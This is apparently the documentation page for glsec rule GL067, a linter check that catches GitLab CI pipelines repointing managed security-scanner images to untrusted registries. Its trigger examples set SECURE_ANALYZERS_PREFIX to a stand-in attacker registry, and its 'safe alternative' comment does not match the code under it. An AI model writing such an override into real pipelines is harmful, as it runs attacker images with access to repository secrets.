Rules / GL067

GL067 Managed-scan analyzer registry repointed off `registry.gitlab.com`

Severity: warn
OWASP: CICD-SEC-4 – Poisoned Pipeline Execution
CWE: CWE-829 – Inclusion of Functionality from Untrusted Control Sphere

Risk

GitLab's managed security templates (SAST, Dependency Scanning, Container Scanning, etc.) pull their analyzer images using SECURE_ANALYZERS_PREFIX, which defaults to the official GitLab analyzer registry (registry.gitlab.com/security-products). If a pipeline overrides SECURE_ANALYZERS_PREFIX — or a per-analyzer image control such as SAST_ANALYZER_IMAGE / CS_ANALYZER_IMAGE — to point at an arbitrary registry, every "security scan" job silently runs an attacker-chosen image with access to the repository and the job's secrets. It is a scanner-substitution / poisoned-pipeline attack that still shows green "security scanning" jobs.

What glsec checks

glsec flags a variables: entry (top-level, default:, or per-job) that sets one of the managed-scan analyzer controls to a registry host other than registry.gitlab.com:

SECURE_ANALYZERS_PREFIX
SAST_ANALYZER_IMAGE
DS_ANALYZER_IMAGE
CS_ANALYZER_IMAGE

variables:
  SECURE_ANALYZERS_PREFIX: registry.attacker.example/analyzers   # flagged

No-op when unset — the default already resolves to registry.gitlab.com, so an absent variable is never flagged.
Default host stays clean — registry.gitlab.com/security-products (the resolved default) is not flagged.
Variable-driven hosts are exempt — $CI_TEMPLATE_REGISTRY_HOST/security-products and whole-value references ($INTERNAL_PREFIX) cannot be resolved statically and are treated as default-equivalent.

Trigger example

include:
  - template: Jobs/SAST.gitlab-ci.yml

variables:
  SECURE_ANALYZERS_PREFIX: registry.attacker.example/analyzers

Safe alternative

Do not override SECURE_ANALYZERS_PREFIX. If an internal mirror is genuinely required, make it a deliberate, reviewed choice: pin it to the trusted internal registry and pair it with the registry-allowlist rule (GL065).

# Mirror the official analyzers into a trusted internal registry, then point at it explicitly:
variables:
  SECURE_ANALYZERS_PREFIX: registry.gitlab.com/security-products

Notes

Severity is warn — legitimate internal-mirror setups exist, but repointing the scanner registry should always be a deliberate, reviewed decision.
Complements GL065: GL065 enforces an allowlist over image:/services:, while GL067 specifically catches substitution of the managed security-scanner images.

Documentation for glsec 1.23.0. Source of this page · Rule implementation

GL067 Managed-scan analyzer registry repointed off registry.gitlab.com